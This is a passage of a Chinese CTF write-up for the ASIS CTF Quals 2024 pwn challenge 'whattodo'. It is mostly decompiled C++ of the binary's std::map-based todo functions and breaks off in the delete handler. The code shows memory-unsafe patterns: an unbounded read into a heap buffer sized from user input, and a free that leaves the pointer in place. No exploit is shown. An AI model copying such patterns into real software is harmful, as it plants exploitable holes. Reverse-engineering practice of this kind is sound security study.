C++中的std::map的运用-ASIS CTF Quals 2024-whattodo

pwn中C++中的std::map的运用和逆向

whattodo

试了下fuzz,没出来

只能逆了

逆向

  1. unsigned __int64 __fastcall todo_add(
  2. __int64 a1,
  3. __int64 a2,
  4. __int64 a3,
  5. __int64 a4,
  6. __int64 a5,
  7. __int64 a6,
  8. int a7,
  9. int a8,
  10. int a9,
  11. int a10,
  12. int a11,
  13. int a12,
  14. int a13,
  15. int a14,
  16. int a15,
  17. int a16,
  18. int a17,
  19. int a18,
  20. int a19,
  21. int a20,
  22. __int64 a21)
  23. {
  24. // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  25. *(_QWORD *)&title_string_object.str[8] = __readfsqword(0x28u);
  26. LOBYTE(title_string_object.ptr) = 0;
  27. title = &title_string_object;
  28. max_len = 0LL;
  29. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Title: ", 7LL);
  30. std::operator>><char>(std::cin, &amp;title);
  31. find_node_ptr = (struct node *)std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::find(
  32. (__int64)&amp;map_stuct,
  33. (__int64)&amp;title);
  34. if ( find_node_ptr != (struct node *)&amp;map_stuct.color )// std::cout << "Already exists" << std::endl;
  35. {
  36. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Already exists", 14LL);
  37. v22 = *(_QWORD *)(std::cout[0] - 24LL);
  38. v23 = *(_BYTE **)((char *)&amp;std::cout[30] + v22);
  39. if ( !v23 )
  40. std::__throw_bad_cast();
  41. if ( v23[56] )
  42. {
  43. v24 = v23[67];
  44. }
  45. else
  46. {
  47. std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&amp;std::cout[30] + v22));
  48. v24 = 10;
  49. v27 = *(__int64 (__fastcall **)())(*(_QWORD *)v23 + 48LL);
  50. if ( v27 != std::ctype<char>::do_widen )
  51. v24 = ((__int64 (__fastcall *)(_BYTE *, __int64))v27)(v23, 10LL);
  52. }
  53. v25 = (std::ostream *)std::ostream::put((std::ostream *)std::cout, v24);
  54. std::ostream::flush(v25);
  55. goto LABEL_6;
  56. }
  57. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Length: ", 8LL);
  58. std::istream::_M_extract<unsigned int>(std::cin, &amp;len);
  59. len_more1 = (unsigned int)(len + 1);
  60. todo_node_chunk = (void *)operator new[](len_more1);
  61. if ( len_more1 )
  62. memset(todo_node_chunk, 0, len_more1);
  63. find_node_ptr_1 = find_node_ptr;
  64. len_3 = len;
  65. if ( !map_stuct.parents )
  66. goto LABEL_34;
  67. find_node_ptr_2 = find_node_ptr;
  68. root_ = (struct node *)map_stuct.parents;
  69. title_2 = title;
  70. max_len_1 = max_len;
  71. title_1 = title;
  72. current_node = (struct node *)map_stuct.parents;
  73. do
  74. {
  75. while ( 1 )
  76. {
  77. current_node_title_len = current_node->title_str_obj.size;
  78. len_1 = max_len_1;
  79. if ( current_node_title_len <= max_len_1 )
  80. len_1 = current_node->title_str_obj.size;
  81. if ( len_1 )
  82. {
  83. cmp_result = memcmp((const void *)current_node->title_str_obj.ptr, title_1, len_1);
  84. if ( cmp_result )
  85. break;
  86. }
  87. difference = current_node_title_len - max_len_1;
  88. if ( difference >= 0x80000000LL )
  89. goto LABEL_24;
  90. if ( difference > (__int64)0xFFFFFFFF7FFFFFFFLL )
  91. {
  92. cmp_result = difference;
  93. break;
  94. }
  95. LABEL_15:
  96. current_node = (struct node *)current_node->right_son_node;
  97. if ( !current_node )
  98. goto LABEL_25;
  99. }
  100. if ( cmp_result < 0 )
  101. goto LABEL_15;
  102. LABEL_24:
  103. find_node_ptr_1 = current_node;
  104. current_node = (struct node *)current_node->left_son_node;
  105. }
  106. while ( current_node );
  107. LABEL_25:
  108. max_len_2 = max_len_1;
  109. find_node_ptr = find_node_ptr_2;
  110. root = root_;
  111. if ( find_node_ptr_1 == (struct node *)&amp;map_stuct.color )
  112. goto LABEL_34;
  113. len_4 = find_node_ptr_1->title_str_obj.size;
  114. len_2 = max_len_2;
  115. if ( len_4 <= max_len_2 )
  116. len_2 = find_node_ptr_1->title_str_obj.size;
  117. if ( len_2 )
  118. {
  119. LODWORD(v41) = memcmp(title_2, (const void *)find_node_ptr_1->title_str_obj.ptr, len_2);
  120. if ( (_DWORD)v41 )
  121. {
  122. LABEL_32:
  123. if ( (int)v41 < 0 )
  124. goto LABEL_34;
  125. goto LABEL_33;
  126. }
  127. }
  128. v41 = max_len_2 - len_4;
  129. if ( (__int64)(max_len_2 - len_4) > 0x7FFFFFFF )
  130. {
  131. LABEL_33:
  132. find_node_ptr_1->todo_pair.todo_ptr = todo_node_chunk;
  133. LODWORD(find_node_ptr_1->todo_pair.todo_len) = len_3;
  134. goto LABEL_36;
  135. }
  136. if ( v41 >= (__int64)0xFFFFFFFF80000000LL )
  137. goto LABEL_32;
  138. LABEL_34:
  139. p_title = &amp;title;
  140. new_node = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  141. &amp;map_stuct,
  142. find_node_ptr_1,
  143. (char ***)&amp;p_title);
  144. root = (struct node *)map_stuct.parents;
  145. new_node->todo_pair.todo_ptr = todo_node_chunk;
  146. LODWORD(new_node->todo_pair.todo_len) = len_3;
  147. if ( !root )
  148. goto insert;
  149. max_len_2 = max_len;
  150. title_2 = title;
  151. LABEL_36:
  152. max_len_3 = max_len_2;
  153. v44 = find_node_ptr;
  154. current = root;
  155. max_len_4 = max_len_3;
  156. while ( 2 )
  157. {
  158. while ( 2 )
  159. {
  160. current_len = current->title_str_obj.size;
  161. len_5 = max_len_4;
  162. if ( current_len <= max_len_4 )
  163. len_5 = current->title_str_obj.size;
  164. if ( !len_5 || (comp_result = memcmp((const void *)current->title_str_obj.ptr, title_2, len_5)) == 0 )
  165. {
  166. differ = current_len - max_len_4;
  167. if ( differ >= 0x80000000LL )
  168. goto LABEL_46;
  169. if ( differ > (__int64)0xFFFFFFFF7FFFFFFFLL )
  170. {
  171. comp_result = differ;
  172. break;
  173. }
  174. LABEL_37:
  175. current = (struct node *)current->right_son_node;
  176. if ( !current )
  177. goto access;
  178. continue;
  179. }
  180. break;
  181. }
  182. if ( comp_result < 0 )
  183. goto LABEL_37;
  184. LABEL_46:
  185. v44 = current;
  186. current = (struct node *)current->left_son_node;
  187. if ( current )
  188. continue;
  189. break;
  190. }
  191. access:
  192. v51 = max_len_4;
  193. find_node_ptr = v44;
  194. v52 = v51;
  195. if ( find_node_ptr == (struct node *)&amp;map_stuct.color )
  196. goto insert;
  197. size = find_node_ptr->title_str_obj.size;
  198. v54 = v51;
  199. if ( size <= v51 )
  200. v54 = find_node_ptr->title_str_obj.size;
  201. if ( v54 &amp;&amp; (LODWORD(v55) = memcmp(title_2, (const void *)find_node_ptr->title_str_obj.ptr, v54), (_DWORD)v55) )
  202. {
  203. LABEL_54:
  204. if ( (int)v55 < 0 )
  205. goto insert;
  206. }
  207. else
  208. {
  209. v55 = v52 - size;
  210. if ( (__int64)(v52 - size) <= 0x7FFFFFFF )
  211. {
  212. if ( v55 >= (__int64)0xFFFFFFFF80000000LL )
  213. goto LABEL_54;
  214. insert:
  215. title_addr = &amp;title;
  216. find_node_ptr = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  217. &amp;map_stuct,
  218. find_node_ptr,
  219. (char ***)&amp;title_addr);
  220. }
  221. }
  222. if ( !find_node_ptr->todo_pair.todo_ptr )
  223. {
  224. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Out of memory", 13LL);
  225. v56 = *(_QWORD *)(std::cout[0] - 24LL);
  226. v57 = *(_BYTE **)((char *)&amp;std::cout[30] + v56);
  227. if ( v57 )
  228. {
  229. if ( v57[56] )
  230. {
  231. v58 = (unsigned int)(char)v57[67];
  232. }
  233. else
  234. {
  235. std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&amp;std::cout[30] + v56));
  236. v58 = 10LL;
  237. v64 = *(__int64 (__fastcall **)())(*(_QWORD *)v57 + 48LL);
  238. if ( v64 != std::ctype<char>::do_widen )
  239. v58 = (unsigned int)((char (__fastcall *)(_BYTE *, __int64))v64)(v57, 10LL);
  240. }
  241. v59 = (std::ostream *)std::ostream::put((std::ostream *)std::cout, v58);
  242. std::ostream::flush(v59);
  243. todo_add(
  244. (__int64)v59,
  245. v58,
  246. v60,
  247. v61,
  248. v62,
  249. v63,
  250. a7,
  251. a8,
  252. a9,
  253. a10,
  254. a11,
  255. a12,
  256. a13,
  257. a14,
  258. a15,
  259. a16,
  260. a17,
  261. a18,
  262. a19,
  263. a20,
  264. a21);
  265. }
  266. std::__throw_bad_cast();
  267. }
  268. LABEL_6:
  269. if ( title != &amp;title_string_object )
  270. operator delete(title);
  271. return *(_QWORD *)&amp;title_string_object.str[8] - __readfsqword(0x28u);
  272. }
  273. unsigned __int64 todo_edit(void)
  274. {
  275. // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  276. *(_QWORD *)&amp;str_obj.str[8] = __readfsqword(0x28u);
  277. LOBYTE(str_obj.ptr) = 0;
  278. title_str_obj_ptr = &amp;str_obj;
  279. len_1 = 0LL;
  280. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Title: ", 7LL);
  281. std::operator>><char>(std::cin, &amp;title_str_obj_ptr);
  282. if ( &amp;map_stuct.color == (_QWORD *)std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::find(
  283. (struct node *)&amp;map_stuct,
  284. (struct node *)&amp;title_str_obj_ptr) )
  285. {
  286. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Not found", 9LL);
  287. v25 = *(_QWORD *)(std::cout[0] - 24LL);
  288. v26 = *(_BYTE **)((char *)&amp;std::cout[30] + v25);
  289. if ( !v26 )
  290. std::__throw_bad_cast();
  291. if ( v26[56] )
  292. {
  293. v27 = v26[67];
  294. }
  295. else
  296. {
  297. std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&amp;std::cout[30] + v25));
  298. v27 = 10;
  299. v29 = *(__int64 (__fastcall **)())(*(_QWORD *)v26 + 48LL);
  300. if ( v29 != std::ctype<char>::do_widen )
  301. v27 = ((__int64 (__fastcall *)(_BYTE *, __int64))v29)(v26, 10LL);
  302. }
  303. v28 = (std::ostream *)std::ostream::put((std::ostream *)std::cout, v27);
  304. std::ostream::flush(v28);
  305. goto finish;
  306. }
  307. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "TODO: ", 6LL);
  308. curent = (struct node *)map_stuct.parents;
  309. if ( !map_stuct.parents )
  310. {
  311. end_iterator_adddr = (struct node *)&amp;map_stuct.color;
  312. goto insert;
  313. }
  314. title_1 = title_str_obj_ptr;
  315. root__node = (struct node *)map_stuct.parents;
  316. len_2 = len_1;
  317. end_iterator_adddr_1 = (struct node *)&amp;map_stuct.color;
  318. do
  319. {
  320. while ( 1 )
  321. {
  322. current_len = curent->title_str_obj.size;
  323. len = len_2;
  324. if ( current_len <= len_2 )
  325. len = curent->title_str_obj.size;
  326. if ( len )
  327. {
  328. cmp_result = memcmp((const void *)curent->title_str_obj.ptr, title_1, len);
  329. if ( cmp_result )
  330. break;
  331. }
  332. differ = current_len - len_2;
  333. if ( differ >= 0x80000000LL )
  334. goto LABEL_13;
  335. if ( differ > (__int64)0xFFFFFFFF7FFFFFFFLL )
  336. {
  337. cmp_result = differ;
  338. break;
  339. }
  340. LABEL_4:
  341. curent = (struct node *)curent->right_son_node;
  342. if ( !curent )
  343. goto LABEL_14;
  344. }
  345. if ( cmp_result < 0 )
  346. goto LABEL_4;
  347. LABEL_13:
  348. end_iterator_adddr_1 = curent;
  349. curent = (struct node *)curent->left_son_node;
  350. }
  351. while ( curent );
  352. LABEL_14:
  353. end_iterator_adddr = end_iterator_adddr_1;
  354. root__node_1 = root__node;
  355. if ( end_iterator_adddr_1 == (struct node *)&amp;map_stuct.color )
  356. goto insert;
  357. end_iterator_adddr_1_len = end_iterator_adddr_1->title_str_obj.size;
  358. len_3 = len_2;
  359. if ( end_iterator_adddr_1_len <= len_2 )
  360. len_3 = end_iterator_adddr_1->title_str_obj.size;
  361. if ( len_3 )
  362. {
  363. LODWORD(comp_result) = memcmp(title_1, (const void *)end_iterator_adddr_1->title_str_obj.ptr, len_3);
  364. end_iterator_adddr = end_iterator_adddr_1;
  365. if ( (_DWORD)comp_result )
  366. {
  367. LABEL_21:
  368. if ( (int)comp_result < 0 )
  369. goto insert;
  370. goto LABEL_22;
  371. }
  372. }
  373. comp_result = len_2 - end_iterator_adddr_1_len;
  374. if ( (__int64)(len_2 - end_iterator_adddr_1_len) > 0x7FFFFFFF )
  375. {
  376. LABEL_22:
  377. *(__int64 *)((char *)&amp;std::cin[2] + *(_QWORD *)(std::cin[0] - 24)) = SLODWORD(end_iterator_adddr->todo_pair.todo_len);
  378. goto LABEL_23;
  379. }
  380. if ( comp_result >= (__int64)0xFFFFFFFF80000000LL )
  381. goto LABEL_21;
  382. insert:
  383. p_title_str_obj_ptr = &amp;title_str_obj_ptr;
  384. v24 = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  385. &amp;map_stuct,
  386. end_iterator_adddr,
  387. (char ***)&amp;p_title_str_obj_ptr);
  388. root__node_1 = (struct node *)map_stuct.parents;
  389. *(__int64 *)((char *)&amp;std::cin[2] + *(_QWORD *)(std::cin[0] - 24)) = SLODWORD(v24->todo_pair.todo_len);
  390. if ( !root__node_1 )
  391. {
  392. end_iterator_adddr_2 = (struct node *)&amp;map_stuct.color;
  393. goto LABEL_42;
  394. }
  395. title_1 = title_str_obj_ptr;
  396. len_2 = len_1;
  397. LABEL_23:
  398. end_iterator_adddr_2 = (struct node *)&amp;map_stuct.color;
  399. len_4 = len_2;
  400. curent_node = root__node_1;
  401. while ( 2 )
  402. {
  403. while ( 2 )
  404. {
  405. len_5 = curent_node->title_str_obj.size;
  406. len_6 = len_4;
  407. if ( len_5 <= len_4 )
  408. len_6 = curent_node->title_str_obj.size;
  409. if ( !len_6 || (differ_2 = memcmp((const void *)curent_node->title_str_obj.ptr, title_1, len_6)) == 0 )
  410. {
  411. differ_1 = len_5 - len_4;
  412. if ( differ_1 >= 0x80000000LL )
  413. goto LABEL_33;
  414. if ( differ_1 > (__int64)0xFFFFFFFF7FFFFFFFLL )
  415. {
  416. differ_2 = differ_1;
  417. break;
  418. }
  419. LABEL_24:
  420. curent_node = (struct node *)curent_node->right_son_node;
  421. if ( !curent_node )
  422. goto LABEL_34;
  423. continue;
  424. }
  425. break;
  426. }
  427. if ( differ_2 < 0 )
  428. goto LABEL_24;
  429. LABEL_33:
  430. end_iterator_adddr_2 = curent_node;
  431. curent_node = (struct node *)curent_node->left_son_node;
  432. if ( curent_node )
  433. continue;
  434. break;
  435. }
  436. LABEL_34:
  437. if ( end_iterator_adddr_2 == (struct node *)&amp;map_stuct.color )
  438. goto LABEL_42;
  439. end_iterator_adddr_2_len = end_iterator_adddr_2->title_str_obj.size;
  440. end_iterator_adddr_2_len_1 = len_4;
  441. if ( end_iterator_adddr_2_len <= len_4 )
  442. end_iterator_adddr_2_len_1 = end_iterator_adddr_2->title_str_obj.size;
  443. if ( end_iterator_adddr_2_len_1
  444. &amp;&amp; (LODWORD(comp_result_1) = memcmp(
  445. title_1,
  446. (const void *)end_iterator_adddr_2->title_str_obj.ptr,
  447. end_iterator_adddr_2_len_1),
  448. (_DWORD)comp_result_1) )
  449. {
  450. LABEL_41:
  451. if ( (int)comp_result_1 < 0 )
  452. goto LABEL_42;
  453. }
  454. else
  455. {
  456. comp_result_1 = len_4 - end_iterator_adddr_2_len;
  457. if ( (__int64)(len_4 - end_iterator_adddr_2_len) <= 0x7FFFFFFF )
  458. {
  459. if ( comp_result_1 >= (__int64)0xFFFFFFFF80000000LL )
  460. goto LABEL_41;
  461. LABEL_42:
  462. v32 = &amp;title_str_obj_ptr;
  463. end_iterator_adddr_2 = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  464. &amp;map_stuct,
  465. end_iterator_adddr_2,
  466. (char ***)&amp;v32);
  467. }
  468. }
  469. std::__istream_extract(std::cin, end_iterator_adddr_2->todo_pair.todo_ptr, 0x7FFFFFFFFFFFFFFFLL);
  470. finish:
  471. if ( title_str_obj_ptr != &amp;str_obj )
  472. operator delete(title_str_obj_ptr);
  473. return *(_QWORD *)&amp;str_obj.str[8] - __readfsqword(0x28u);
  474. }
  475. unsigned __int64 todo_show(void)
  476. {
  477. struct node *curent_node; // r15
  478. struct string *title_str_obj_ptr_1; // r12
  479. unsigned __int64 len_1; // r14
  480. struct node *end_iterator_adddr; // rbx
  481. unsigned __int64 len_2; // rbp
  482. size_t len_3; // rdx
  483. int comp_result; // eax
  484. unsigned __int64 len_4; // r13
  485. size_t len_5; // rdx
  486. int comp_result_1; // eax
  487. const char *todo_ptr; // rbx
  488. size_t todo_len; // rax
  489. _BYTE *v12; // rbx
  490. char v13; // si
  491. std::ostream *v14; // rax
  492. __int64 (__fastcall *v16)(); // rax
  493. struct string **p_title_str_obj_ptr; // [rsp+18h] [rbp-70h] BYREF
  494. struct string *title_str_obj_ptr; // [rsp+20h] [rbp-68h] BYREF
  495. unsigned __int64 len; // [rsp+28h] [rbp-60h]
  496. struct string str_obj; // [rsp+30h] [rbp-58h] BYREF
  497. *(_QWORD *)&amp;str_obj.str[8] = __readfsqword(0x28u);
  498. LOBYTE(str_obj.ptr) = 0;
  499. title_str_obj_ptr = &amp;str_obj;
  500. len = 0LL;
  501. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Title: ", 7LL);
  502. std::operator>><char>(std::cin, &amp;title_str_obj_ptr);
  503. if ( &amp;map_stuct.color == (_QWORD *)std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::find(
  504. (struct node *)&amp;map_stuct,
  505. (struct node *)&amp;title_str_obj_ptr) )
  506. {
  507. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Not found", 9LL);
  508. v12 = *(_BYTE **)((char *)&amp;std::cout[30] + *(_QWORD *)(std::cout[0] - 24LL));
  509. if ( !v12 )
  510. std::__throw_bad_cast();
  511. goto LABEL_27;
  512. }
  513. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "TODO: ", 6LL);
  514. curent_node = (struct node *)map_stuct.parents;
  515. if ( !map_stuct.parents )
  516. {
  517. end_iterator_adddr = (struct node *)&amp;map_stuct.color;
  518. goto LABEL_23;
  519. }
  520. title_str_obj_ptr_1 = title_str_obj_ptr;
  521. len_1 = len;
  522. end_iterator_adddr = (struct node *)&amp;map_stuct.color;
  523. do
  524. {
  525. while ( 1 )
  526. {
  527. len_2 = curent_node->title_str_obj.size;
  528. len_3 = len_1;
  529. if ( len_2 <= len_1 )
  530. len_3 = curent_node->title_str_obj.size;
  531. if ( len_3 )
  532. {
  533. comp_result = memcmp((const void *)curent_node->title_str_obj.ptr, title_str_obj_ptr_1, len_3);
  534. if ( comp_result )
  535. break;
  536. }
  537. if ( (__int64)(len_2 - len_1) >= 0x80000000LL )
  538. goto LABEL_13;
  539. if ( (__int64)(len_2 - len_1) > (__int64)0xFFFFFFFF7FFFFFFFLL )
  540. {
  541. comp_result = len_2 - len_1;
  542. break;
  543. }
  544. LABEL_4:
  545. curent_node = (struct node *)curent_node->right_son_node;
  546. if ( !curent_node )
  547. goto LABEL_14;
  548. }
  549. if ( comp_result < 0 )
  550. goto LABEL_4;
  551. LABEL_13:
  552. end_iterator_adddr = curent_node;
  553. curent_node = (struct node *)curent_node->left_son_node;
  554. }
  555. while ( curent_node );
  556. LABEL_14:
  557. if ( end_iterator_adddr == (struct node *)&amp;map_stuct.color )
  558. goto LABEL_23;
  559. len_4 = end_iterator_adddr->title_str_obj.size;
  560. len_5 = len_1;
  561. if ( len_4 <= len_1 )
  562. len_5 = end_iterator_adddr->title_str_obj.size;
  563. if ( len_5
  564. &amp;&amp; (comp_result_1 = memcmp(title_str_obj_ptr_1, (const void *)end_iterator_adddr->title_str_obj.ptr, len_5)) != 0 )
  565. {
  566. LABEL_22:
  567. if ( comp_result_1 < 0 )
  568. goto LABEL_23;
  569. }
  570. else if ( (__int64)(len_1 - len_4) <= 0x7FFFFFFF )
  571. {
  572. if ( (__int64)(len_1 - len_4) >= (__int64)0xFFFFFFFF80000000LL )
  573. {
  574. comp_result_1 = len_1 - len_4;
  575. goto LABEL_22;
  576. }
  577. LABEL_23:
  578. p_title_str_obj_ptr = &amp;title_str_obj_ptr;
  579. end_iterator_adddr = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  580. &amp;map_stuct,
  581. end_iterator_adddr,
  582. (char ***)&amp;p_title_str_obj_ptr);
  583. }
  584. todo_ptr = (const char *)end_iterator_adddr->todo_pair.todo_ptr;
  585. if ( todo_ptr )
  586. {
  587. todo_len = strlen(todo_ptr);
  588. std::__ostream_insert<char,std::char_traits<char>>(std::cout, todo_ptr, todo_len);
  589. }
  590. else
  591. {
  592. std::ios::clear(
  593. (char *)std::cout + *(_QWORD *)(std::cout[0] - 24LL),
  594. *(_DWORD *)((char *)&amp;std::cout[4] + *(_QWORD *)(std::cout[0] - 24LL)) | 1u);
  595. }
  596. v12 = *(_BYTE **)((char *)&amp;std::cout[30] + *(_QWORD *)(std::cout[0] - 24LL));
  597. if ( !v12 )
  598. std::__throw_bad_cast();
  599. LABEL_27:
  600. if ( v12[56] )
  601. {
  602. v13 = v12[67];
  603. }
  604. else
  605. {
  606. std::ctype<char>::_M_widen_init(v12);
  607. v13 = 10;
  608. v16 = *(__int64 (__fastcall **)())(*(_QWORD *)v12 + 48LL);
  609. if ( v16 != std::ctype<char>::do_widen )
  610. v13 = ((__int64 (__fastcall *)(_BYTE *, __int64))v16)(v12, 10LL);
  611. }
  612. v14 = (std::ostream *)std::ostream::put((std::ostream *)std::cout, v13);
  613. std::ostream::flush(v14);
  614. if ( title_str_obj_ptr != &amp;str_obj )
  615. operator delete(title_str_obj_ptr);
  616. return *(_QWORD *)&amp;str_obj.str[8] - __readfsqword(0x28u);
  617. }
  618. unsigned __int64 todo_delete(void)
  619. {
  620. void *v0; // r13
  621. void *v1; // r12
  622. unsigned __int64 v2; // r15
  623. int *v3; // rbp
  624. unsigned __int64 v4; // r14
  625. size_t v5; // rdx
  626. int v6; // eax
  627. unsigned __int64 v7; // r14
  628. size_t v8; // rdx
  629. int v9; // eax
  630. void *v10; // rdi
  631. __int64 v11; // rax
  632. int *v12; // rdx
  633. int *v13; // r13
  634. __int64 v14; // r12
  635. __int64 v15; // rdi
  636. __int64 v16; // rax
  637. void *v17; // rdi
  638. void *v18; // rbp
  639. __int64 v20; // rax
  640. _BYTE *v21; // rbx
  641. char v22; // si
  642. std::ostream *v23; // rax
  643. __int64 (__fastcall *v24)(); // rax
  644. void **p_s2; // [rsp+18h] [rbp-70h] BYREF
  645. void *titile; // [rsp+20h] [rbp-68h] BYREF
  646. unsigned __int64 v27; // [rsp+28h] [rbp-60h]
  647. __int64 v28[3]; // [rsp+30h] [rbp-58h] BYREF
  648. unsigned __int64 v29; // [rsp+48h] [rbp-40h]
  649. v29 = __readfsqword(0x28u);
  650. LOBYTE(v28[0]) = 0;
  651. titile = v28;
  652. v27 = 0LL;
  653. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Title: ", 7LL);
  654. std::operator>><char>(std::cin, &amp;titile);
  655. if ( &amp;MEMORY[0x72C8] == (int *)std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::find(
  656. (__int64)&amp;map_stuct,
  657. (__int64)&amp;titile) )
  658. {
  659. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Not found", 9LL);
  660. v20 = *(_QWORD *)(std::cout[0] - 24);
  661. v21 = *(_BYTE **)((char *)&amp;std::cout[30] + v20);
  662. if ( !v21 )
  663. std::__throw_bad_cast();
  664. if ( v21[56] )
  665. {
  666. v22 = v21[67];
  667. }
  668. else
  669. {
  670. std::ctype<char>::_M_widen_init(*(__int64 *)((char *)&amp;std::cout[30] + v20));
  671. v22 = 10;
  672. v24 = *(__int64 (__fastcall **)())(*(_QWORD *)v21 + 48LL);
  673. if ( v24 != std::ctype<char>::do_widen )
  674. v22 = ((__int64 (__fastcall *)(_BYTE *, __int64))v24)(v21, 10LL);
  675. }
  676. v23 = (std::ostream *)std::ostream::put((std::ostream *)std::cout, v22);
  677. std::ostream::flush(v23);
  678. goto LABEL_32;
  679. }
  680. v0 = MEMORY[0x72D0];
  681. if ( !MEMORY[0x72D0] )
  682. {
  683. v3 = &amp;MEMORY[0x72C8];
  684. goto LABEL_23;
  685. }
  686. v1 = titile;
  687. v2 = v27;
  688. v3 = &amp;MEMORY[0x72C8];
  689. do
  690. {
  691. while ( 1 )
  692. {
  693. v4 = *((_QWORD *)v0 + 5);
  694. v5 = v2;
  695. if ( v4 <= v2 )
  696. v5 = *((_QWORD *)v0 + 5);
  697. if ( v5 )
  698. {
  699. v6 = memcmp(*((const void **)v0 + 4), v1, v5);
  700. if ( v6 )
  701. break;
  702. }
  703. if ( (__int64)(v4 - v2) >= 0x80000000LL )
  704. goto LABEL_13;
  705. if ( (__int64)(v4 - v2) > (__int64)0xFFFFFFFF7FFFFFFFLL )
  706. {
  707. v6 = v4 - v2;
  708. break;
  709. }
  710. LABEL_4:
  711. v0 = (void *)*((_QWORD *)v0 + 3);
  712. if ( !v0 )
  713. goto LABEL_14;
  714. }
  715. if ( v6 < 0 )
  716. goto LABEL_4;
  717. LABEL_13:
  718. v3 = (int *)v0;
  719. v0 = (void *)*((_QWORD *)v0 + 2);
  720. }
  721. while ( v0 );
  722. LABEL_14:
  723. if ( v3 == &amp;MEMORY[0x72C8] )
  724. goto LABEL_23;
  725. v7 = *((_QWORD *)v3 + 5);
  726. v8 = v2;
  727. if ( v7 <= v2 )
  728. v8 = *((_QWORD *)v3 + 5);
  729. if ( v8 &amp;&amp; (v9 = memcmp(v1, *((const void **)v3 + 4), v8)) != 0 )
  730. {
  731. LABEL_22:
  732. if ( v9 < 0 )
  733. goto LABEL_23;
  734. }
  735. else if ( (__int64)(v2 - v7) <= 0x7FFFFFFF )
  736. {
  737. if ( (__int64)(v2 - v7) >= (__int64)0xFFFFFFFF80000000LL )
  738. {
  739. v9 = v2 - v7;
  740. goto LABEL_22;
  741. }
  742. LABEL_23:
  743. p_s2 = &amp;titile;
  744. v3 = (int *)std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_emplace_hint_unique<std::piecewise_construct_t const&amp;,std::tuple<std::string const&amp;>,std::tuple<>>(
  745. &amp;map_stuct,
  746. v3,
  747. &amp;p_s2);
  748. }
  749. v10 = (void *)*((_QWORD *)v3 + 8);
  750. if ( v10 )
  751. operator delete(v10, 1uLL);
  752. v11 = std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::equal_range(
  753. &amp;map_stuct,
  754. &amp;titile);
  755. v13 = v12;
  756. v14 = v11;
  757. if ( MEMORY[0x72D8] == v11 &amp;&amp; &amp;MEMORY[0x72C8] == v12 )
  758. {
  759. std::_Rb_tree<std::string,std::pair<std::string const,std::pair<char *,int>>,std::_Select1st<std::pair<std::string const,std::pair<char *,int>>>,std::less<std::string>,std::allocator<std::pair<std::string const,std::pair<char *,int>>>>::_M_erase(MEMORY[0x72D0]);
  760. MEMORY[0x72D8] = (__int64)&amp;MEMORY[0x72C8];
  761. MEMORY[0x72D0] = 0LL;
  762. MEMORY[0x72E0] = (__int64)&amp;MEMORY[0x72C8];
  763. MEMORY[0x72E8] = 0LL;
  764. }
  765. else if ( v12 != (int *)v11 )
  766. {
  767. do
